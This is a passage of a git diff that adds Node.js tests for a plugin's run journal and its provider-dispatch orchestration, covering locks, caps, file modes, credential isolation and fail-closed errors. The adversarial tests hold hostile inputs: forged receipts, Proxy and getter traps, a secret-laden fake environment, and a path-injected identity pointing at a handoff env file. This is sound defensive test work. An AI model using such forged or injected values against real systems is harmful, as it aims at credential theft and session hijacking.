'child_started', data: { assignment_id: 'a0' } }); + + const sameKey = ['d0', 'd1', 'd2'].map(() => spawnWorker({ + storeRoot, + journalRoot, + runId, + count: 1, + prefix: 'same.key', + })); + const outcomes = await Promise.all(sameKey.map((worker) => worker.done)); + // All workers used identical prefixes, so all three targeted one key/body. + const created = outcomes.filter((result) => result.ok && result.created === 1).length; + const deduped = outcomes.filter((result) => result.ok && result.deduped === 1).length; + const conflicted = outcomes.filter((result) => !result.ok + && (result.code === 'run_journal_replay_conflict' + || result.code === 'run_journal_dedupe_conflict')).length; + assert.equal(created + deduped + conflicted, 3); + assert.equal(created <= 1, true, 'at most one worker may create the entry'); + + const state = await journal.currentState(); + assert.equal(state.event_counts.child_progress <= 1, true); + }, { runId: 'run-journal-duplicate' }); +}); + +function spawnWorker({ storeRoot, journalRoot, runId, count, prefix }) { + const child = spawn(process.execPath, [WORKER, storeRoot, journalRoot, runId, String(count), prefix]); + let stdout = ''; + let stderr = ''; + child.stdout.on('data', (chunk) => { stdout += chunk; }); + child.stderr.on('data', (chunk) => { stderr += chunk; }); + const done = new Promise((resolve, reject) => { + child.on('exit', () => { + try { + resolve(JSON.parse(stdout.trim().split('\n').at(-1))); + } catch (error) { + reject(new Error(`worker produced no result (${stderr.trim()}): ${error.message}`)); + } + }); + child.on('error', reject); + }); + return { done, child }; +} + +test('a dead owner lock is recovered within bounds; a live foreign owner times out typed', async () => { + await withJournal(async ({ journal }) => { + await journal.append({ kind: 'run_opened', data: {} }); + + // Dead-owner recovery. + const deadChild = spawn(process.execPath, ['-e', 'process.exit(0);']); + await new Promise((resolve) => deadChild.on('exit', resolve)); + const { RUN_JOURNAL_LOCK_SCHEMA_ID } = await import('../mcp/v3/run-journal.mjs'); + const deadLock = path.join(journal.directory, 'lock'); + await writeFile(deadLock, `${canonicalJsonStringify({ + schema: RUN_JOURNAL_LOCK_SCHEMA_ID, + pid: deadChild.pid, + nonce: 'a'.repeat(32), + })}\n`, { mode: 0o600 }); + await chmod(deadLock, 0o600); + const recovered = await journal.append({ + kind: 'child_started', + data: { assignment_id: 'a0' }, + }); + assert.equal(recovered.created, true); + assert.equal((await journal.currentState()).event_counts.child_started, 1); + + // Live foreign owner times out within the bounded wait. + const holder = spawn(process.execPath, ['-e', 'setTimeout(() => {}, 30000);']); + try { + const liveLock = path.join(journal.directory, 'lock'); + await writeFile(liveLock, `${canonicalJsonStringify({ + schema: RUN_JOURNAL_LOCK_SCHEMA_ID, + pid: holder.pid, + nonce: 'b'.repeat(32), + })}\n`, { mode: 0o600 }); + await chmod(liveLock, 0o600); + const startedAt = Date.now(); + const timeout = await errorOf(() => journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: 'progress.blocked' }, + })); + assert.equal(timeout.code, 'run_journal_lock_timeout'); + assert.equal(Date.now() - startedAt >= 1500, true); + } finally { + holder.kill('SIGKILL'); + await rm(path.join(journal.directory, 'lock'), { force: true }); + } + }); +}); + +test('entry caps, byte bounds, and private modes hold across the whole journal', async () => { + await withJournal(async ({ journal }) => { + await journal.append({ kind: 'run_opened', data: {} }); + await journal.append({ kind: 'child_started', data: { assignment_id: 'a0' } }); + for (let index = 0; index < MAX_RUN_JOURNAL_ENTRIES - 2; index += 1) { + await journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: `p.${index}` }, + }); + } + assert.equal((await journal.currentState()).revision, MAX_RUN_JOURNAL_ENTRIES); + const flooded = await errorOf(() => journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: 'p.over' }, + })); + assert.equal(flooded.code, 'run_journal_flood'); + + const stat = await lstat(path.join(journal.directory, 'journal.jsonl')); + assert.equal(stat.mode & 0o777, 0o600); + const dirStat = await lstat(journal.directory); + assert.equal(dirStat.mode & 0o777, 0o700); + const runsStat = await lstat(path.join(path.dirname(journal.directory))); + assert.equal(runsStat.mode & 0o777, 0o700); + }, { runId: 'run-journal-caps' }); +}); + +test('oversized single events are rejected before anything is written', async () => { + await withJournal(async ({ journal }) => { + await journal.append({ kind: 'run_opened', data: {} }); + const before = await readJournalFile(journal.directory); + const oversized = await errorOf(() => journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: 'progress.' + 'x'.repeat(4000) }, + })); + assert.equal(oversized.code, 'invalid_format'); + assert.equal(await readJournalFile(journal.directory), before); + }); +}); + +test('mode tightening of the supplied root is respected as a privacy precondition', async () => { + const storeRoot = await makePrivateRoot('r1-p25-store-'); + const journalRoot = await makePrivateRoot('r1-p25-journal-'); + try { + const store = await openRunStore(storeRoot); + await store.submit(makeSubmission({ runId: 'run-journal-mode' })); + await chmod(journalRoot, 0o755); + const unsafe = await errorOf(() => + createRunJournal({ root: journalRoot, store, run_id: 'run-journal-mode' })); + assert.equal(unsafe.code, 'run_journal_unsafe_path'); + await chmod(journalRoot, 0o700); + } finally { + await rm(storeRoot, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + } +}); + +test('hardlinked journal files fail closed', async () => { + await withJournal(async ({ journal }) => { + await journal.append({ kind: 'run_opened', data: {} }); + const journalPath = path.join(journal.directory, 'journal.jsonl'); + const scratch = await mkdtemp(path.join(tmpdir(), 'r1-p25-hardlink-')); + try { + const twin = path.join(scratch, 'twin.jsonl'); + await copyFile(journalPath, twin); + await rm(journalPath); + const { link } = await import('node:fs/promises'); + await link(twin, journalPath); + const stat = await lstat(journalPath); + assert.equal(stat.nlink, 2); + const hardlinked = await errorOf(() => journal.currentState()); + assert.equal(hardlinked.code, 'run_journal_not_regular'); + } finally { + await rm(scratch, { recursive: true, force: true }); + } + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-orchestration-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-orchestration-adversarial.test.mjs new file mode 100644 index 0000000..9bfcfc8 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-orchestration-adversarial.test.mjs @@ -0,0 +1,531 @@ +// P31 run orchestration — adversarial coverage: hostile preflight and +// capacity denials create zero side effects, env/argv isolation holds, +// getters and proxies never run, dispatch is not a hidden default, +// concurrent identical runs cannot share a handoff, forged receipts cannot +// cancel live lanes, cleanup failures stay truthful, and remote mutation +// remains denied. + +import assert from 'node:assert/strict'; +import { Buffer as NodeBuffer } from 'node:buffer'; +import { lstat } from 'node:fs/promises'; +import test from 'node:test'; + +import { + CredentialBoundaryError, + collectLaneSecrets, +} from '../mcp/v3/credential-boundary.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + cancelRunDispatchV1, + completeRunDispatchV1, + denyRunRemoteMutationV1, + orchestrateRunDispatchV1, + restartRunDispatchV1, +} from '../mcp/v3/run-orchestration.mjs'; +import { + ASSIGNMENT_ID_A, + ASSIGNMENT_ID_B, + HOSTILE_ENV, + SUFFICIENT_HOST, + createLinearRepo, + createRecordingDispatcher, + createRecordingSpawn, + handoffPathFromProcessIdentity, + hostFacts, + injectHandoffUnlinkFailure, + laneManifestsForCount, + restoreInjectedHandoffUnlinkFailure, + snapshotState, + twoLaneOrchestrationManifest, + writerLane, + preflightManifest, + receiptContainsSecret, +} from './fixtures/r1-run-orchestration-fixtures.mjs'; + +const SECRETS = collectLaneSecrets(HOSTILE_ENV); + +async function expectCode(promise, code, ErrorType = RunContractV1Error) { + try { + await promise; + } catch (error) { + assert.ok(error instanceof ErrorType, `expected ${ErrorType.name}, got ${error}`); + assert.equal(error.code, code, error.message); + assert.ok(NodeBuffer.byteLength(error.message, 'utf8') <= 200); + return error; + } + throw new Error(`expected failure with code ${code}`); +} + +test('capacity denial fails closed without projection, dispatch, or workspace mutation', async () => { + const repo = await createLinearRepo('p31-cpu-'); + const dispatcher = createRecordingDispatcher(); + const recording = createRecordingSpawn(); + let envReads = 0; + const env = new Proxy(HOSTILE_ENV, { + get(target, property, receiver) { + envReads += 1; + return Reflect.get(target, property, receiver); + }, + ownKeys(target) { + envReads += 1; + return Reflect.ownKeys(target); + }, + }); + try { + const before = await snapshotState(repo.root); + const error = await expectCode( + orchestrateRunDispatchV1( + { + manifest: twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, + }), + intent: 'dispatch', + }, + { + host: hostFacts({ cpu_parallelism: 0 }), + env, + spawn: recording.spawn, + dispatch: dispatcher.dispatch, + }, + ), + 'host_cpu_capacity_exceeded', + ); + assert.ok(error instanceof RunContractV1Error); + assert.equal(dispatcher.calls.length, 0); + assert.equal(recording.records.length, 0); + assert.equal(envReads, 0); + assert.deepEqual(await snapshotState(repo.root), before); + } finally { + await repo.cleanup(); + } +}); + +test('RAM capacity denial does not read env or invoke dispatch', async () => { + const repo = await createLinearRepo('p31-ram-'); + const dispatcher = createRecordingDispatcher(); + let envAccessed = false; + const options = { + host: hostFacts({ available_ram_bytes: 1 }), + dispatch: dispatcher.dispatch, + }; + Object.defineProperty(options, 'env', { + enumerable: true, + get() { + envAccessed = true; + throw new Error('env getter must never run'); + }, + }); + try { + const before = await snapshotState(repo.root); + await expectCode( + orchestrateRunDispatchV1( + { + manifest: twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, + }), + intent: 'dispatch', + }, + options, + ), + 'host_ram_capacity_exceeded', + ); + assert.equal(envAccessed, false); + assert.equal(dispatcher.calls.length, 0); + assert.deepEqual(await snapshotState(repo.root), before); + } finally { + await repo.cleanup(); + } +}); + +test('hostile preflight inputs fail before dispatch and leave the world identical', async () => { + const repo = await createLinearRepo('p31-hostile-'); + const dispatcher = createRecordingDispatcher(); + try { + const before = await snapshotState(repo.root); + const base = twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, + }); + await expectCode( + orchestrateRunDispatchV1( + { manifest: new Proxy(base, {}), intent: 'dispatch' }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: dispatcher.dispatch }, + ), + 'proxy_denied', + ); + const withSymbol = { manifest: structuredClone(base), intent: 'prepare' }; + Object.defineProperty(withSymbol, Symbol('poison'), { + enumerable: true, + get() { throw new Error('symbol getter must never run'); }, + }); + await expectCode( + orchestrateRunDispatchV1(withSymbol, { host: SUFFICIENT_HOST, dispatch: dispatcher.dispatch }), + 'symbol_key_denied', + ); + await expectCode( + orchestrateRunDispatchV1( + { + manifest: laneManifestsForCount(9, { + repositoryPath: repo.root, baseSha: repo.baseSha, + }), + intent: 'dispatch', + }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: dispatcher.dispatch }, + ), + 'preflight_child_count_exceeded', + ); + await expectCode( + orchestrateRunDispatchV1( + { + manifest: preflightManifest([ + writerLane('lane-overlap-a', ['src/shared/**']), + writerLane('lane-overlap-b', ['src/shared/nested/**']), + ], { repositoryPath: repo.root, baseSha: repo.baseSha }), + intent: 'dispatch', + }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: dispatcher.dispatch }, + ), + 'overlapping_writer_scope', + ); + assert.equal(dispatcher.calls.length, 0); + assert.deepEqual(await snapshotState(repo.root), before); + } finally { + await repo.cleanup(); + } +}); + +test('unknown intent and missing dispatcher fail closed without a handoff', async () => { + const repo = await createLinearRepo('p31-intent-'); + try { + const before = await snapshotState(repo.root); + await expectCode( + orchestrateRunDispatchV1( + { + manifest: twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, + }), + intent: 'launch', + }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV }, + ), + 'orchestration_intent_invalid', + ); + const error = await expectCode( + orchestrateRunDispatchV1( + { + manifest: twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, runId: 'orchestration-no-dispatch', + }), + intent: 'dispatch', + }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV }, + ), + 'orchestration_dispatcher_required', + ); + assert.equal(error.message.includes(repo.root), false); + assert.deepEqual(await snapshotState(repo.root), before); + } finally { + await repo.cleanup(); + } +}); + +test('unresolved lanes may prepare but cannot dispatch', async () => { + const repo = await createLinearRepo('p31-unresolved-'); + const dispatcher = createRecordingDispatcher(); + try { + const manifest = twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, runId: 'orchestration-unresolved', + }); + delete manifest.assignments[0].execution; + const prepared = await orchestrateRunDispatchV1( + { manifest, intent: 'prepare' }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: dispatcher.dispatch }, + ); + assert.equal(prepared.status, 'prepared'); + assert.equal(prepared.lanes[0].status, 'selection_unresolved'); + assert.equal(dispatcher.calls.length, 0); + await expectCode( + orchestrateRunDispatchV1( + { manifest, intent: 'dispatch' }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: dispatcher.dispatch }, + ), + 'orchestration_selection_unresolved', + ); + assert.equal(dispatcher.calls.length, 0); + await assert.rejects( + () => lstat(handoffPathFromProcessIdentity(prepared.lanes[0].identity)), + { code: 'ENOENT' }, + ); + } finally { + await repo.cleanup(); + } +}); + +function assertNoSecret(value) { + assert.equal(receiptContainsSecret(value, SECRETS), false); +} + +async function expectMissing(filePath) { + await assert.rejects(() => lstat(filePath), { code: 'ENOENT' }); +} + +test('concurrent identical run_id+assignment_id executions never share a handoff', async () => { + const repo = await createLinearRepo('p31-adv-collide-'); + const firstDispatcher = createRecordingDispatcher(); + const secondDispatcher = createRecordingDispatcher(); + try { + const manifest = twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, runId: 'orchestration-hostile-collide', + }); + const [first, second] = await Promise.all([ + orchestrateRunDispatchV1( + { manifest, intent: 'dispatch' }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: firstDispatcher.dispatch }, + ), + orchestrateRunDispatchV1( + { manifest, intent: 'dispatch' }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: secondDispatcher.dispatch }, + ), + ]); + const firstIdentities = first.lanes.map((lane) => lane.identity); + const secondIdentities = second.lanes.map((lane) => lane.identity); + assert.equal(new Set([...firstIdentities, ...secondIdentities]).size, 4); + for (const identity of firstIdentities) { + assert.equal(secondIdentities.includes(identity), false); + } + const cancelledFirst = await cancelRunDispatchV1(first); + assert.equal(cancelledFirst.cleaned, true); + for (const identity of firstIdentities) { + await expectMissing(handoffPathFromProcessIdentity(identity)); + } + for (const identity of secondIdentities) { + const metadata = await lstat(handoffPathFromProcessIdentity(identity)); + assert.equal(metadata.isFile(), true); + } + const cancelledSecond = await cancelRunDispatchV1(second); + assert.equal(cancelledSecond.cleaned, true); + for (const identity of secondIdentities) { + await expectMissing(handoffPathFromProcessIdentity(identity)); + } + } finally { + await repo.cleanup(); + } +}); + +test('cross-cancel of one concurrent run cannot delete the other run handoff', async () => { + const repo = await createLinearRepo('p31-cross-cancel-'); + try { + const manifest = twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, runId: 'orchestration-cross-cancel', + }); + const first = await orchestrateRunDispatchV1( + { manifest, intent: 'dispatch' }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: createRecordingDispatcher().dispatch }, + ); + const second = await orchestrateRunDispatchV1( + { manifest, intent: 'dispatch' }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: createRecordingDispatcher().dispatch }, + ); + const survivor = second.lanes.map((lane) => lane.identity); + await cancelRunDispatchV1(first); + for (const identity of survivor) { + const metadata = await lstat(handoffPathFromProcessIdentity(identity)); + assert.equal(metadata.isFile(), true); + } + await cancelRunDispatchV1(second); + } finally { + await repo.cleanup(); + } +}); + +test('forged and unknown receipts cannot touch live handoffs', async () => { + const repo = await createLinearRepo('p31-forged-receipt-'); + const dispatcher = createRecordingDispatcher(); + try { + const receipt = await orchestrateRunDispatchV1( + { + manifest: twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, runId: 'orchestration-forged', + }), + intent: 'dispatch', + }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: dispatcher.dispatch }, + ); + const liveIdentities = receipt.lanes.map((lane) => lane.identity); + const stolenIdentity = liveIdentities[0]; + const cloned = JSON.parse(JSON.stringify(receipt)); + const forged = { + schema: receipt.schema, + version: receipt.version, + status: receipt.status, + run_id: receipt.run_id, + lanes: receipt.lanes.map((lane) => ({ + assignment_id: lane.assignment_id, + identity: lane.identity, + })), + }; + const pathInjected = { + ...cloned, + lanes: [ + { + assignment_id: ASSIGNMENT_ID_A, + identity: '/tmp/cce-p29-deadbeefdeadbeefdeadbeefdeadbeef/env.json', + }, + ], + }; + await expectCode(cancelRunDispatchV1(cloned), 'orchestration_session_unknown'); + await expectCode(completeRunDispatchV1(forged), 'orchestration_session_unknown'); + await expectCode(restartRunDispatchV1(pathInjected), 'orchestration_session_unknown'); + await expectCode(cancelRunDispatchV1({}), 'orchestration_session_unknown'); + await expectCode(cancelRunDispatchV1(null), 'orchestration_session_unknown'); + await expectCode( + cancelRunDispatchV1(new Proxy(receipt, {})), + 'proxy_denied', + ); + for (const identity of liveIdentities) { + const metadata = await lstat(handoffPathFromProcessIdentity(identity)); + assert.equal(metadata.isFile(), true); + } + assert.equal(stolenIdentity.length, 32); + const cancelled = await cancelRunDispatchV1(receipt); + assert.equal(cancelled.cleaned, true); + } finally { + await repo.cleanup(); + } +}); + +test('injected handoff unlink failure stays unresolved and does not skip sibling lanes', async () => { + const repo = await createLinearRepo('p31-unlink-fail-'); + const dispatcher = createRecordingDispatcher(); + let injected = null; + try { + const receipt = await orchestrateRunDispatchV1( + { + manifest: twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, runId: 'orchestration-unlink-fail', + }), + intent: 'dispatch', + }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: dispatcher.dispatch }, + ); + const failedLane = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_ID_A); + const sibling = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_ID_B); + injected = await injectHandoffUnlinkFailure(failedLane.identity); + const cancelled = await cancelRunDispatchV1(receipt); + assert.equal(cancelled.status, 'cancelled'); + assert.equal(cancelled.cleaned, false); + assert.deepEqual([...cancelled.unresolved], [ + { assignment_id: ASSIGNMENT_ID_A, code: 'handoff_cleanup_failed' }, + ]); + assertNoSecret(cancelled); + assert.equal(JSON.stringify(cancelled).includes(injected.filePath), false); + const trap = await lstat(injected.filePath); + assert.equal(trap.isDirectory(), true); + await expectMissing(handoffPathFromProcessIdentity(sibling.identity)); + } finally { + if (injected) await restoreInjectedHandoffUnlinkFailure(injected.filePath); + await repo.cleanup(); + } +}); + +test('cancel terminal and restart stay truthful when stop or unlink fails', async () => { + const repo = await createLinearRepo('p31-truthful-'); + try { + const stopDispatcher = createRecordingDispatcher({ failStopFor: ASSIGNMENT_ID_A }); + const stopReceipt = await orchestrateRunDispatchV1( + { + manifest: twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, runId: 'orchestration-stop-fail', + }), + intent: 'dispatch', + }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: stopDispatcher.dispatch }, + ); + const cancelled = await cancelRunDispatchV1(stopReceipt); + assert.equal(cancelled.status, 'cancelled'); + assert.equal(cancelled.cleaned, false); + assert.deepEqual([...cancelled.unresolved], [ + { assignment_id: ASSIGNMENT_ID_A, code: 'dispatcher_stop_failed' }, + ]); + assertNoSecret(cancelled); + for (const lane of stopReceipt.lanes) { + await expectMissing(handoffPathFromProcessIdentity(lane.identity)); + } + + const terminalDispatcher = createRecordingDispatcher({ failStopFor: ASSIGNMENT_ID_B }); + const terminalReceipt = await orchestrateRunDispatchV1( + { + manifest: twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, runId: 'orchestration-terminal-fail', + }), + intent: 'dispatch', + }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: terminalDispatcher.dispatch }, + ); + const terminal = await completeRunDispatchV1(terminalReceipt); + assert.equal(terminal.status, 'terminal'); + assert.equal(terminal.cleaned, false); + assert.deepEqual([...terminal.unresolved], [ + { assignment_id: ASSIGNMENT_ID_B, code: 'dispatcher_stop_failed' }, + ]); + assertNoSecret(terminal); + + const restartDispatcher = createRecordingDispatcher(); + const restartReceipt = await orchestrateRunDispatchV1( + { + manifest: twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, runId: 'orchestration-restart-fail', + }), + intent: 'dispatch', + }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: restartDispatcher.dispatch }, + ); + const failedLane = restartReceipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_ID_A); + const sibling = restartReceipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_ID_B); + const injected = await injectHandoffUnlinkFailure(failedLane.identity); + try { + const restarted = await restartRunDispatchV1(restartReceipt, { + dispatch: restartDispatcher.dispatch, + }); + assert.equal(restarted.restarted, false); + assert.equal(restarted.cleaned, false); + assert.deepEqual([...restarted.unresolved], [ + { assignment_id: ASSIGNMENT_ID_A, code: 'handoff_cleanup_failed' }, + ]); + assertNoSecret(restarted); + assert.equal(restartDispatcher.calls.length, 2); + await expectMissing(handoffPathFromProcessIdentity(sibling.identity)); + } finally { + await restoreInjectedHandoffUnlinkFailure(injected.filePath); + } + } finally { + await repo.cleanup(); + } +}); + +test('content-free errors never echo secrets, paths, or denied operations', async () => { + const repo = await createLinearRepo('p31-redact-'); + try { + const error = await expectCode( + orchestrateRunDispatchV1( + { + manifest: twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, + }), + }, + { host: hostFacts({ cpu_parallelism: 0 }), env: HOSTILE_ENV }, + ), + 'host_cpu_capacity_exceeded', + ); + assert.equal(error.message.includes(HOSTILE_ENV.XAI_API_KEY), false); + assert.equal(error.message.includes(repo.root), false); + try { + denyRunRemoteMutationV1('push'); + } catch (denied) { + assert.ok(denied instanceof CredentialBoundaryError); + assert.equal(denied.message.includes('push'), false); + assert.match(denied.message, /^[A-Za-z0-9_=.:/\[\]()";', -]+$/u); + } + } finally { + await repo.cleanup(); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-run-orchestration.test.mjs b/plugins/codex-co-engineer/test/r1-run-orchestration.test.mjs new file mode 100644 index 0000000..ddd835e --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-orchestration.test.mjs @@ -0,0 +1,336 @@ +// P31 run orchestration — focused coverage: P26 preflight is bound to P29 +// closed projection before any launch side effect, prepare is side-effect +// free, dispatch preserves provider isolation, argv is credential-free, +// cleanup runs on cancel/terminal/restart, and remote mutation stays denied. + +import assert from 'node:assert/strict'; +import { lstat } from 'node:fs/promises'; +import test from 'node:test'; + +import { + CREDENTIAL_BOUNDARY_SCHEMA_ID, + CredentialBoundaryError, + collectLaneSecrets, + inspectArgvForSecrets, + inspectEnvForSecrets, +} from '../mcp/v3/credential-boundary.mjs'; +import { + RUN_PREFLIGHT_SCHEMA_ID, + RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS, +} from '../mcp/v3/run-preflight.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + ORCHESTRATION_INTENTS, + RUN_ORCHESTRATION_ALWAYS_FALSE_SIDE_EFFECTS, + RUN_ORCHESTRATION_CHECKS, + RUN_ORCHESTRATION_SCHEMA_ID, + cancelRunDispatchV1, + completeRunDispatchV1, + denyRunRemoteMutationV1, + describeRunOrchestrationV1, + orchestrateRunDispatchV1, + restartRunDispatchV1, +} from '../mcp/v3/run-orchestration.mjs'; +import { + DENIED_OPERATIONS, + HOSTILE_ENV, + SUFFICIENT_HOST, + createLinearRepo, + createRecordingDispatcher, + createRecordingSpawn, + handoffPathFromProcessIdentity, + mixedProviderManifest, + receiptContainsSecret, + snapshotState, + twoLaneOrchestrationManifest, +} from './fixtures/r1-run-orchestration-fixtures.mjs'; + +const SECRETS = collectLaneSecrets(HOSTILE_ENV); + +function assertAlwaysFalse(receipt) { + for (const claim of RUN_ORCHESTRATION_ALWAYS_FALSE_SIDE_EFFECTS) { + assert.equal(receipt.side_effects[claim], false, claim); + } +} + +async function expectMissing(filePath) { + await assert.rejects(() => lstat(filePath), { code: 'ENOENT' }); +} + +test('describeRunOrchestrationV1 is deterministic, frozen, and quotes composed surfaces', () => { + const first = describeRunOrchestrationV1(); + const second = describeRunOrchestrationV1(); + assert.deepStrictEqual(JSON.parse(JSON.stringify(first)), JSON.parse(JSON.stringify(second))); + assert.equal(first.schema, RUN_ORCHESTRATION_SCHEMA_ID); + assert.equal(first.rule, 'preflight_then_closed_projection_before_any_launch_side_effect'); + assert.deepEqual([...first.intents], [...ORCHESTRATION_INTENTS]); + assert.deepEqual([...first.checks], [...RUN_ORCHESTRATION_CHECKS]); + assert.equal(first.composed_surfaces.preflight, RUN_PREFLIGHT_SCHEMA_ID); + assert.equal(first.composed_surfaces.credential_boundary, CREDENTIAL_BOUNDARY_SCHEMA_ID); + assert.equal(first.composed_surfaces.protected_ref_audit, 'P30 live-ref audit is not invoked here'); + assert.equal(first.composed_surfaces.public_api, 'not exposed'); + assert.equal(first.composed_surfaces.gate_a, 'not claimed'); + assert.ok(Object.isFrozen(first)); + assert.ok(Object.isFrozen(first.composed_surfaces)); +}); + +test('prepare binds a ready P26 preflight to P29 projection with zero launch side effects', async () => { + const repo = await createLinearRepo('p31-prepare-'); + const dispatcher = createRecordingDispatcher(); + const recording = createRecordingSpawn(); + try { + const before = await snapshotState(repo.root); + const manifest = twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, + }); + const receipt = await orchestrateRunDispatchV1( + { manifest, intent: 'prepare' }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, spawn: recording.spawn, dispatch: dispatcher.dispatch }, + ); + assert.equal(receipt.schema, RUN_ORCHESTRATION_SCHEMA_ID); + assert.equal(receipt.status, 'prepared'); + assert.equal(receipt.intent, 'prepare'); + assert.equal(receipt.preflight.schema, RUN_PREFLIGHT_SCHEMA_ID); + assert.equal(receipt.preflight.status, 'ready'); + assert.equal(receipt.side_effects.credentials_projected, true); + assert.equal(receipt.side_effects.task_dispatched, false); + assert.equal(receipt.side_effects.credential_handoff_created, false); + assert.equal(receipt.side_effects.provider_process_started, false); + assertAlwaysFalse(receipt); + for (const claim of RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS) { + assert.equal(receipt.preflight.side_effects[claim], false, claim); + } + assert.equal(dispatcher.calls.length, 0); + assert.equal(receiptContainsSecret(receipt, SECRETS), false); + assert.deepEqual(await snapshotState(repo.root), before); + for (const lane of receipt.lanes) { + await expectMissing(handoffPathFromProcessIdentity(lane.identity)); + } + } finally { + await repo.cleanup(); + } +}); + +test('mixed-provider prepare isolates each closed route and never shares credentials', async () => { + const repo = await createLinearRepo('p31-mixed-'); + try { + const manifest = mixedProviderManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, + }); + const receipt = await orchestrateRunDispatchV1( + { manifest }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV }, + ); + const byId = Object.fromEntries(receipt.lanes.map((lane) => [lane.assignment_id, lane])); + assert.equal(byId['lane-grok'].provider, 'grok'); + assert.equal(byId['lane-local'].provider, 'cursor-local'); + assert.equal(byId['lane-cloud'].provider, 'cursor-cloud'); + assert.equal(byId['lane-muse'].provider, 'dsh'); + assert.equal(byId['lane-muse'].model, 'muse-spark-1.2-contributor'); + assert.equal(byId['lane-ox'].provider, 'dsh'); + assert.equal(byId['lane-ox'].model, 'stealth/ox-alpha'); + assert.equal(byId['lane-grok'].credential_present, true); + assert.equal(byId['lane-local'].credential_present, false); + assert.equal(byId['lane-cloud'].credential_present, true); + assert.equal(byId['lane-muse'].credential_present, true); + assert.equal(byId['lane-ox'].credential_present, true); + assert.ok(byId['lane-grok'].projected_keys.includes('XAI_API_KEY')); + assert.equal(byId['lane-grok'].projected_keys.includes('MODEL_API_KEY'), false); + assert.equal(byId['lane-muse'].projected_keys.includes('OPENROUTER_API_KEY'), false); + assert.equal(byId['lane-ox'].projected_keys.includes('MODEL_API_KEY'), false); + assert.equal(byId['lane-local'].projected_keys.includes('CURSOR_API_KEY'), false); + assertAlwaysFalse(receipt); + assert.equal(receiptContainsSecret(receipt, SECRETS), false); + } finally { + await repo.cleanup(); + } +}); + +test('dispatch uses closed env, never puts secrets in argv, and still creates no workspace', async () => { + const repo = await createLinearRepo('p31-dispatch-'); + const dispatcher = createRecordingDispatcher(); + try { + const before = await snapshotState(repo.root); + const manifest = mixedProviderManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, runId: 'orchestration-dispatch', + }); + const receipt = await orchestrateRunDispatchV1( + { manifest, intent: 'dispatch' }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: dispatcher.dispatch }, + ); + assert.equal(receipt.status, 'dispatched'); + assert.equal(receipt.side_effects.task_dispatched, true); + assert.equal(receipt.side_effects.provider_process_started, true); + assert.equal(receipt.side_effects.credential_handoff_created, true); + assertAlwaysFalse(receipt); + assert.equal(dispatcher.calls.length, 5); + const byProvider = Object.fromEntries(dispatcher.calls.map((call) => [call.provider + ':' + call.model, call])); + const grok = byProvider['grok:grok-4']; + const local = byProvider['cursor-local:composer-1']; + const cloud = byProvider['cursor-cloud:claude-sonnet-4-5']; + const muse = byProvider['dsh:muse-spark-1.2-contributor']; + const ox = byProvider['dsh:stealth/ox-alpha']; + assert.equal(grok.env.XAI_API_KEY, HOSTILE_ENV.XAI_API_KEY); + assert.equal(Object.hasOwn(grok.env, 'MODEL_API_KEY'), false); + assert.equal(Object.hasOwn(local.env, 'XAI_API_KEY'), false); + 